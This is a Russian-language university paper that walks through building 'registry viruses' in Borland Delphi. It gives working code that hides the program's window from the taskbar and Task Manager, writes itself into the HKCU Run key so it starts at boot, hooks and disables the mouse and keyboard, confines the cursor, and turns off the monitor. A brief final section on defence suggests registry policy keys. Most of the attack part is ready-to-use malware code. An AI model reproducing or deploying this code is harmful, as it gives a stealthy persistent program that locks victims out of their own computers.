Оразов И., Шимирова Л.А.
Южно-Казахстанский
государственный университет им. М.Ауезова, Казахстан
RAD-Технология
Создания и защитЫ от реестровых вирусов
Введение. Как известно, в семействе операционной системы MS Windows
сведения о конфигурации системы централизованно размещены в реестре. Это упрощает
администрирование компьютера или сети, однако
неправильное изменение в реестре может вывести операционную систему из строя.
Заражаемая операционная система является
вторым уровнем деления вирусов на классы. Каждый файловый или сетевой вирус
заражает файлы операционной системы. Макровирусы
заражают файлы пакета MS Office.
Загрузочные вирусы ориентированы на конкретные форматы расположения системных
данных в загрузочных секторах дисков. Реестровые вирусы вносят нежелательные изменения
в реестр операционной системы [1].
Термины. Системный реестр - это база данных для хранения сведений о
конфигурации компьютера и настроек операционной системы. Реестр содержит
данные, к которым MS Windows постоянно обращается во время загрузки, работы
и её завершения.
Реестр - это прежде всего основа
операционной системы, огромная база данных настроек, хранящихся в папках
%SystemRoot% \System32 \Config и папке пользовательских профилей
Ntuser.dat. Реестр имеет иерархическую древовидную структуру,
состоящую из разделов, подразделов и ключей. Для работы с реестром используется
утилита Regedit. Чтобы запретить запуск Regedit в разделе HKCU
\SOFTWARE \Microsoft \Windows \CurrentVerson \Policies \System надо
добавить ключ Disable RegistryTools :dword= 0х00000001. Запуск редактора реестра будет запрещен, однако
останется возможность вносить изменения сторонних разработчиков.
Постановка
задачи. Разработать программу, которая будет работать незаметно для пользователя и
периодически выполнять выбранную
процедуру или функцию для
выполнения несанкционированных действий на
компьютере.
Разработка формы. Создаем новый проект Borland Delphi. Для того, чтобы выполнять периодические
действия, нам понадобится компонент Timer категории
System. Программа
будет выполнять через минуту выбранную процедуру. Для того, чтобы таймер
срабатывал точно через минуту, необходимо присвоить свойству Interval значение 60000. Больше никакие свойства ни для
формы, ни для таймера изменять не нужно (см.рис.).
Разработка программного кода вируса. Первое, что нужно сделать
для программы - скрыть ее от глаз пользователя. Для этого достаточно создать
обработчик события формы OnPaint
и добавить в
него следующий код [2]:
procedure
TForm1.FormPaint(Sender: TObject);
begin
form1.hide;
end;
Здесь мы при
каждой прорисовке формы скрываем ее из виду. При этом она не только будет
скрыта визуально, но и исчезнет с панели задач, а также не будет отображаться
на вкладке «Приложения» в диспетчере задач Windows.
Еще одно важное
действие для нашей программы- реализация автозагрузки вместе с запуском операционной
системы. Для этого создаем обработчик события главной формы OnCreate и добавим в него следуюшие строки программы:
Описываем
используемые переменные в программе таким образом:
reg:
Tregistry; - переменная для работы с реестром;
path:
string; - содержит путь к нашей
программе.
Чтобы узнать
путь к программе и ее имя напишем
path:=Application.EXEname;
Далее
открываем реестр и каталог текущего пользователя:
reg:=tregistry.create;
reg.rootkey:=HKEY_CURRENT_USER;
Открываем
раздел автозагрузки и записываем ссылку на программу в автозагрузку
if
reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',true)
then begin reg.writeString('ukgu', path);
закрываем реестр, освобождаем
память
reg.closekey;
reg.free.
В результате
у нас получается следующий код программы
[2]:
procedure TForm1.FormCreate(Sender:
TObject);
var reg: Tregistry; path: string;
begin
randomize;
path:=Application.EXEname;
reg:=tregistry.create;
reg.rootkey:=HKEY_CURRENT_USER;
if reg.openkey
('\Software\Microsoft\Windows\CurrentVersion\Run',true)
then begin
reg.writeString('Joker', path);
reg.closekey;
reg.free;
end;
Чтобы это все
работало, необходимо добавить в раздел uses
ссылку на модуль Registry. Теперь все готово для создания
тела вируса. Сначала обьявим все глобальные переменные в разделе var:
var
Form1: TForm1; - форма
Dummy: integer; - для отключения мыши
OldKbHook: HHook; - для отключения клавиатуры
BMP1: Graphics.TBitmap; - для поиска рисунка
Image1: TImage; - для вставки рисунка
fn:TSearchRec; - для определения регистра
Finds: integer; - для поиска рисунка
i:
integer; - для цикла
endval: integer; - для концы цикла
err_str: string; - для вывода ошибки
tm:
TsystemTime; - для изменения времени
reg: Tregistry; - для работы с реестром
Это шаблон
для реестровых вирусов. Далее будут представлены фрагменты кода, выполняющие
определенные действия.
Вирус №1 - ограничение диапазона движения мыши. Действие вируса заключается в
наложении ограничения на диапазон движения мыши. После этого указатель мыши
можно будет перемещать только в одной половине экрана.
Основной код
вируса:
curs:=Rect(0,0,screen.Width
div 2,screen.Height);
ClipCursor(@curs);
Вирус №2 - отключение кнопок мыши. Вирус, используя
перехваты функций, отключает кнопки мыши, в итоге ни левая, ни правая, ни
средняя кнопка не будут выполнять никаких действий. Для этого напишем в разделе
implementation следующую функцию для перехвата нажатия кнопок
мыши:
function
KbHook (code: Integer; wparam: Word; lparam: LongInt):
LongInt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx(oldKbHook,
code, wparam, lparam)
else
Result := 1;
end;
Основной код вируса:
SystemParametersInfo(SPI_SETFASTTASKSWITCH,
1, @Dummy, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
OldKbHook:=SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);
После этого ни одна из кнопок мыши функционировать не
будет.
Вирус №3
– отключение клавиатуры. Вирус, используя
перехваты функций, отключает клавиатуру. Для этого напишим в разделе implementation следующую функцию для перехвата нажатия клавиши
клавиатуры:
function
KbHook (code: Integer; wparam: Word; lparam: LongInt):
LongInt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx(oldKbHook,
code, wparam, lparam)
else
Result := 1;
end;
Основной код вируса:
SystemParametersInfo(SPI_SETFASTTASKSWITCH,
1, @Dummy, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,
1, @Dummy, 0);
OldKbHook:=SetWindowsHookEx(WH_KEYBOARD,
@KbHook, HInstance, 0);
Здесь
вызывается та же функция, только вместо параметра WH_MOUSE ей
передается WH_KEYBOARD. После этого клавиши на клавиатуре перестанут
функционировать.
Вирус №4 – выключение
монитора. Этот вирус будет выключать монитор.
Основной код вируса:
SendMessage(Application.Handle,
WM_SYSCOMMAND, SC_MONITORPOWER, 1);
Защита от
реестровых вирусов. Чтобы защитить компьютера от реестровых вирусов, надо
запретить редактирования реестра. Для этого на ключ
[ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ Current
Version\Policies\ System]
нужно дать значение:
“Disable Registry Tools”=dword:00000001
и на ключ возможности открывать диспетчера задач
[HKEY_CURRENT_USER\ Software Microsoft\ Windows\ Current
Version\Policies\
System]
нужно дать значение:
“Disable Task Mgr”= dword:00000001.
Выводы. Из вышеописанного следует,
что реестровые вирусы вносят нежелательные изменения в реестр операционной
системы. Хотя запуск редактора реестра Regedit можно запретить, однако
останется возможность вносить изменения. Поэтому надо запретить редактирования реестра
вышеуказанным способом. Кроме того, можно ограничить доступ к реестру различным пользователям.
Литература
1.
Оразов И., Ибрагимов О.М., Шимирова Л. Компьютерлік вирустарды жіктеу
туралы // Научные труды ЮКГУ, 2012, №2 (23), –с.35-40.
2.
Ибрагимов О.М., Куракбаев Ж.С., Жумашова Т.У. Компьютерлік реестрлік вирустар
// Электронный учебник. Свидетельство о гос. регистрации объекта в Комитете по
правам интеллект. собст. МЮ РК. №241 от 2.04.2009.